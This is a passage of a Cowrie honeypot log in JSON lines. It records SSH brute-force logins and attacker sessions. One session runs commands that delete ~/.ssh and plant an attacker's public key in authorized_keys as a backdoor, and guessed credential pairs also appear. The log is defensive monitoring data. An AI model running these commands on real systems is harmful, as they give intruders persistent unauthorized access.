{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:33.798511Z","src_ip":"103.147.159.91","session":"9b44b666b4ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:33.916088Z","src_ip":"189.46.1.73","session":"ec5d7b12ab26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:35.125669Z","src_ip":"189.46.1.73","session":"ec5d7b12ab26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":44568,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dbd1d40e509","protocol":"ssh","message":"New connection: 189.46.1.73:44568 (10.17.0.5:22) [session: 8dbd1d40e509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:37.307458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:37.324621Z","src_ip":"189.46.1.73","session":"8dbd1d40e509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:37.519216Z","src_ip":"189.46.1.73","session":"8dbd1d40e509","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:38.125937Z","src_ip":"189.46.1.73","session":"8dbd1d40e509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:38.315957Z","src_ip":"189.46.1.73","session":"141370e6fede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:38.320191Z","src_ip":"189.46.1.73","session":"8dbd1d40e509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":35738,"dst_ip":"10.17.0.5","dst_port":22,"session":"5597135c4e07","protocol":"ssh","message":"New connection: 151.80.141.196:35738 (10.17.0.5:22) [session: 5597135c4e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:50.993526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:50.999029Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:51.091155Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"I2KPwdO3","message":"login attempt [oracle/I2KPwdO3] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:51.487803Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:51.711864Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:51.715872Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:51.720565Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:51.815915Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.030219Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.033985Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":52190,"dst_ip":"10.17.0.5","dst_port":22,"session":"d31d173cc881","protocol":"ssh","message":"New connection: 165.227.170.113:52190 (10.17.0.5:22) [session: d31d173cc881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.058419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.063297Z","src_ip":"165.227.170.113","session":"d31d173cc881","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.133106Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.137329Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.147209Z","src_ip":"165.227.170.113","session":"d31d173cc881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":36178,"dst_ip":"10.17.0.5","dst_port":22,"session":"8872247d51d6","protocol":"ssh","message":"New connection: 151.80.141.196:36178 (10.17.0.5:22) [session: 8872247d51d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.202218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.208090Z","src_ip":"151.80.141.196","session":"8872247d51d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.286321Z","src_ip":"151.80.141.196","session":"8872247d51d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test0","password":"123456","message":"login attempt [test0/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.517073Z","src_ip":"165.227.170.113","session":"d31d173cc881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:52.626879Z","src_ip":"151.80.141.196","session":"8872247d51d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:53.604311Z","src_ip":"165.227.170.113","session":"d31d173cc881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:53.707872Z","src_ip":"151.80.141.196","session":"8872247d51d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":36676,"dst_ip":"10.17.0.5","dst_port":22,"session":"835b157204ae","protocol":"ssh","message":"New connection: 151.80.141.196:36676 (10.17.0.5:22) [session: 835b157204ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:53.779266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:53.784715Z","src_ip":"151.80.141.196","session":"835b157204ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:53.862804Z","src_ip":"151.80.141.196","session":"835b157204ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:54.204129Z","src_ip":"151.80.141.196","session":"835b157204ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:54.288091Z","src_ip":"151.80.141.196","session":"835b157204ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:39:54.295945Z","src_ip":"151.80.141.196","session":"5597135c4e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":30311,"dst_ip":"10.17.0.5","dst_port":23,"session":"98e596b80e2a","protocol":"telnet","message":"New connection: 212.55.149.117:30311 (10.17.0.5:23) [session: 98e596b80e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:17.835984Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33350,"dst_ip":"10.17.0.5","dst_port":22,"session":"93afa2d1934c","protocol":"ssh","message":"New connection: 103.147.159.91:33350 (10.17.0.5:22) [session: 93afa2d1934c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:25.386783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:25.392365Z","src_ip":"103.147.159.91","session":"93afa2d1934c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:25.629032Z","src_ip":"103.147.159.91","session":"93afa2d1934c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"p@ssw0rd","message":"login attempt [ftptest/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:26.569837Z","src_ip":"103.147.159.91","session":"93afa2d1934c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:27.810954Z","src_ip":"103.147.159.91","session":"93afa2d1934c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":49498,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3c1c96c82a9","protocol":"ssh","message":"New connection: 190.242.109.42:49498 (10.17.0.5:22) [session: c3c1c96c82a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:28.118182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:40:28.123039Z","src_ip":"190.242.109.42","session":"c3c1c96c82a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@